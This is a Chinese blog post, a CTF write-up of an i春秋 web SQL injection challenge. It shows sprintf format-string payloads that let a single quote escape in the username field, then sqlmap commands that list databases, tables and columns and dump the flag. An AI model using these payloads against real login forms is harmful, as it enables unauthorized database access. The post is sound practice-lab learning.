Web-SQLi[i春秋][200pt]

打开网址,是个登陆界面。
这里写图片描述
根据题目,第一反应–怕不是sql注入哦!经过尝试之后会发现,username=admin时,返回的是password error。ok,日常抓包,然后用intruder看看有没有字符被过滤掉。
这里写图片描述
事实证明,这个%有着大大的问题。拜读了网上的各种wp之后,原来是spintf()函数格式化字符串,导致了单引号逃逸。通过构造- -

username=admin%1$\' and 1=1#
username=admin%1$\' and 1=2#

就可以看到前者返回的是password error,后者返回的是username error。这就找到注入点了。
是时候用咱们强大的注入神器 s q l m a p 了!!!

username=admin%1$\’,password=任意值,然后将抓包的数据存好(我存到D盘了),先来爆库- -

#sqlmap.py -r "D:\666.txt" -p username --dbs --level 3 --thread 10


PS:很搞笑的是,日常加了一个batch,于是一开始就自动给我no了。所以还是要亲力亲为啊,中途要点n个y,跑了六分多钟的样子,欧了。


爆库
爆出了两个库,肯定要选第一个啦~所以开始爆表啦- -
#sqlmap.py -r "D:\666.txt" -p username --tables -D ctf
爆表
然后查列吧- -
#sqlmap.py -r "D"\666.txt" -p username --columns -D ctf -T flag
列
字段come on!- -
#sqlmap.py -r "D:\666.txt" -p username --dump -D ctf -T flags -C flag
flag
嗯~ o( ̄▽ ̄)o拿到flag了。


PS:很多大佬是直接跑的脚本,但是对我这种菜菜的学生来港,完全是一脸懵逼啊,还有待学习。好好学习,天天向上。


OVER–

猜你喜欢

转载自blog.csdn.net/Laurel_60/article/details/81412315